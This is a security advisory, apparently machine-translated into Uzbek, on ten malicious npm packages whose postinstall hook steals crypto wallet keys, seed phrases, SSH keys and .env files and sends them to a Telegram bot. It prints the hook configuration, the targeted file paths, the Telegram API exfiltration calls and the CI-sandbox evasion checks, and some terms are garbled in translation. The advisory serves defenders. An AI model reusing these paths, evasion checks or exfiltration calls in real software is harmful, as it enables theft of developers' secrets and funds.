TP; DR
2026-yil 9-iyunda bitta npm nashriyot akkaunti, aicrypto-xzgggjo'natildi o'nta paket kripto va Web3 ta'mli nomlar bilan — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9va yana oltitasi.
Har bir paket bir xil yukni a dan boshlab ishga tushiradi postinstall ilmoq. O'rnatishda u CI yoki sinov muhitida ishlayotganini tekshiradi — agar ishlamasa, u hamyon kalit do'konlarini, urug' iboralari fayllarini, SSH kalitlarini va boshqalarni o'qiydi. .env oltita blokcheyn ekotizimidan fayllarni yuklab oladi va ularni Telegram botiga uzatadi.
Himoyachi darhol qidira oladigan yagona ko'rsatkich bu Telegram bot identifikatoridir 8227918239.
Jiddiyligi: Juda muhim — imzo kalitlari va tiklash iboralarini to'g'ridan-to'g'ri o'g'irlash dasturchi ish stantsiyalari.
Hujum: u qanday ishlaydi
Paketlar o'zlarini blokcheyn ishlab chiquvchi yordamchi dasturlari sifatida reklama qiladi. paket.json minimal va o'rnatish hayot aylanishini skriptga yo'naltiradi:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }skriptlar/postinstall.js haqiqiy yukni yuklaydigan bitta chiziqli shimdir: talab qilish(“../src/index.js”). Chunki postinstall davomida avtomatik ravishda ishlaydi npm o'rnatish, ishlab chiquvchi tomonidan kod import qilish talab qilinmaydi — paketni qaramlik daraxtiga joylashtirish uni bajarish uchun yetarli.
Ichkarida o'ldirish zanjiri src/index.js to'rt bosqichdan iborat:
- Atrof-muhitni tekshirish. Qo'riqlash funktsiyasi xostning qurilish agenti yoki tahlil sinov muhitiga o'xshashligini hal qiladi.
- Kechikish. Bajarish kechiktirildi Vaqtni belgilash taxminan 7.4 soniya.
- To'plam. Hamyon, kalit va maxfiy fayl yo'llarining belgilangan ro'yxati ko'rsatiladi; mavjud fayllar navbatga qo'yiladi.
- Eksfiltratsiya. Navbatdagi fayllar Telegram botiga yuboriladi, undan oldin xulosa xabari yuboriladi.
To'plamning maqsadli ro'yxati oltita zanjirni, shuningdek, umumiy ishlab chiquvchilar sirlarini o'z ichiga oladi. Qisqartirilgan:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localJami yigirma bitta yo'l. Katalog yozuvlari, masalan ~/.ethereum/keystore kengaytiriladi va ichidagi har bir fayl navbatga qo'yiladi. Eksfiltratsiya to'g'ridan-to'g'ri Telegram Bot API-dan foydalanadi — a Xabar yuborish xost va fayl xulosasi bilan qo'ng'iroq qiling, keyin esa Hujjatni yuborish har bir fayl uchun ko'p qismli yuklash:
matn
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Kod yig'ilgan xulosa xabari tom ma'nodagi satr bilan boshlanadi KRIPTO O'G'IRLAYUCHI, undan keyin xost nomi, foydalanuvchi nomi, boshlang'ich paket nomi, fayllar soni va vaqt tamg'asi.
Bu yerda nima yangiliklar bor
Farqlovchi o'g'irlik mexanizmi emas — npm dan Telegram asosidagi exfil postinstall hooks yaxshi oyoq osti qilingan. Bu ijro darvozasi. Biror narsa qilishdan oldin, foydali yuklama xost CI yuguruvchisi yoki sinov muhitiga o'xshaganida true qiymatini qaytaradigan va shunday bo'lganda erta qaytadigan funksiyani chaqiradi:
matn
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)container-id regex muhim band hisoblanadi: 12 ta olti belgili xost nomi Docker tomonidan berilgan standart shakldir. idish, shuning uchun foydali yuklama "mening xost nomim Docker konteyneriga o'xshaydi" degan fikrni harakatsiz qolish uchun sabab sifatida ko'rib chiqadi. Yetti soniyali kechikish bilan birgalikda, dizayn ishlab chiquvchining haqiqiy ish stantsiyasida ishlashni va avtomatlashtirilgan tahlilga o'xshash har qanday joyda jim turishni afzal ko'radi. Bu darvoza dinamik tahlil signallarini bostirgan va statik exfil oqimini asosiy ishonch dalili sifatida saqlab qolgan.
Timeline
O'nta filmning barchasi taxminan yetmish daqiqa ichida paydo bo'ldi, bu bitta hisobdan bitta ssenariy asosida nashr etilganiga mos keladi.
Murosaga kelish ko'rsatkichlari
Tarmoq va xulq-atvor ko'rsatkichlari (xost defanged):
Paketlar va versiyalar, ularning har biri o'zining SHA-256 kodiga ega src/index.js foydali yuk (foydali yuklamalar funktsional jihatdan bir xil va faqat o'rnatilgan paket nomi yorlig'ida farq qiladi, shuning uchun har bir xesh alohida):
Oddiy qidiruv so'rovi: o'nta nomning istalgani uchun o'rnatish jurnallari va qulflangan fayllarni qidiring va Telegram Bot API-ga ulanishlar uchun chiquvchi trafikni boshqa yo'l bilan ishlatmaydigan build yoki ishlab chiquvchi xostlaridan qidiring.
Atribut va kuzatilgan xatti-harakatlar
Barcha o'nta paket bitta akkaunt tomonidan nashr etilgan, aicrypto-xzggg, ko'rsatilgan elektron pochta manzili vipsyria88@gmail[.]comElektron pochta va manbani boshqarish havolasi registr metama'lumotlarida tasdiqlanmagan va hisobning obro'si juda salbiy. Biz hisobni kim boshqarayotganini tasdiqlamadik.
Shaxsni tasdiqlovchi har qanday da'vodan ikkita tafsilotni ajratib ko'rsatish kerak. Birinchidan, paket.json muallif dala o'qishlari Aleks Smit har bir paketda, haqiqiy nashriyot hisobi esa aicrypto-xzggg; muallif maydoni o'zini o'zi e'lon qilgan metama'lumotlar bo'lib, mualliflikni aniqlamaydi. Ikkinchidan, versiya raqamlari juda xilma-xil — ba'zi a'zolar o'tirishadi 1.0.0, boshqalar 4.68.54 — bu haqiqiy nashr tarixini saqlab qolish o'rniga, yangi yaratilgan paket nomlari bo'ylab bitta foydali yuklamani qayta ishlatish bilan mos keladi.
Klaster bo'ylab xatti-harakatlar bir xil: bir xil maqsadli yo'l ro'yxati, bir xil Telegram bot identifikatori va chat identifikatori, bir xil muhit darvozasi, bir xil KRIPTO O'G'IRLAYUCHI marker. Bu bir xillik paketlar orasidagi eng kuchli bog'liqlikdir. Bu identifikatsiya emas, balki bir xil operator signalidir.
Himoyachilar uchun ta'sir, tendentsiyalar va ko'rsatmalar
Ta'sir aniq. Ushbu paketlarning birini dasturiy ta'minot hamyonini, urug'lik iborasi faylini yoki SSH kalitini saqlaydigan ish stantsiyasiga o'rnatgan dasturchi ushbu fayllarni bir necha soniya ichida o'qiydi va xostdan uzatadi. Tiklash iboralari va imzo kalitlari sessiya tokeniga o'xshab muddati tugamaydi; bir marta mnemonic.txt yoki Solana id.json mashinani tark etsa, u boshqaradigan mablag'lar boshqa joyga ko'chirilmaguncha xavf ostida qoladi. Xuddi shu yugurish ham ushlaydi .NS muntazam ravishda API kalitlari va ma'lumotlar bazasi ma'lumotlarini o'z ichiga olgan fayllar.
Ushbu klaster ortida ikkita tendentsiya yotadi. Birinchisi, kripto va Web3 mavzusidagi nomlardan ma'lum bir auditoriyani jalb qilish uchun foydalanishda davom etmoqda - hamyonlar va kalitlarni o'rnatgan bog'liqliklari bilan bir xil mashinada saqlaydigan ishlab chiquvchilar. Ikkinchisi, o'rnatish vaqtidagi foydali yuklamalarda sinov muhitidan qochishning yetukligi. CI muhit o'zgaruvchilari, yuguruvchi foydalanuvchi nomlari va Docker konteyner identifikatori xost nomi shaklini tekshiradigan darvoza tahlil ostida haqiqiy ish stantsiyasiga qaraganda boshqacha harakat qilish uchun ataylab qilingan harakatdir va u sof dinamik aniqlash uchun standartni oshiradi.
Himoyachilar uchun:
Skriptlar sukut bo'yicha o'chirilgan holda o'rnatish. npm o'rnatish –ignore-skriptlari, yoki o'rnating ignore-scripts=true in .npmrc, oldini oladi postinstall ijro etish; skriptlarni faqat ularga chindan ham muhtoj bo'lgan aniq bog'liqliklar uchun yoqish.
Hamyonlar va imzo kalitlarini qurilish va ishlab chiqish mashinalaridan uzoqroq tuting. Uskuna hamyonidan yoki maxsus, qaramliksiz imzo xostidan foydalaning.
davolash .NS, kalit do'konlari va urug' iboralari fayllari toj toshlari sifatida. Ular hech qachon bir xil bo'lgan katalogda turmasligi kerak. npm o'rnatish ishlaydigan daraxt.
CI va dasturchi xostlaridan Telegram Bot API ga chiqish ulanishlarini qidiring. Ko'pgina qurilish muhitlari hech qachon buni chaqirmaydi; o'rnatishdan so'ng darhol to'satdan paydo bo'ladigan ulanishni tekshirishga arziydi.
Bog'liqliklarni pin qiling va ko'rib chiqing. Umumiy kripto nomiga ega yangi paket, a postinstall kanca va hech qanday ombor havolasi qulflangan faylga kirishdan oldin ko'rib chiqishga arzimaydi.
Container-identifikatoridan qochish bandi tahlilchilar uchun ham eslatma hisoblanadi: o'rnatish vaqtidagi foydali yuk sinov muhitida harakatsiz qoladigan bo'lsa, bu xavfsiz emas, balki tanlab ishlaydi. O'rnatish yo'lining statik ko'rib chiqilishi dinamik bajarilish nimani ko'rsatishni rad etishi mumkinligini ko'rishning ishonchli usuli bo'lib qolmoqda.
Manbalar
npm o'rnatish hujjatlari — hayot aylanishi skriptlari va –skriptlarni e'tiborsiz qoldirish— avtomatik o'rnatishni o'chirib qo'yish uchun ma'lumotnoma hooks.
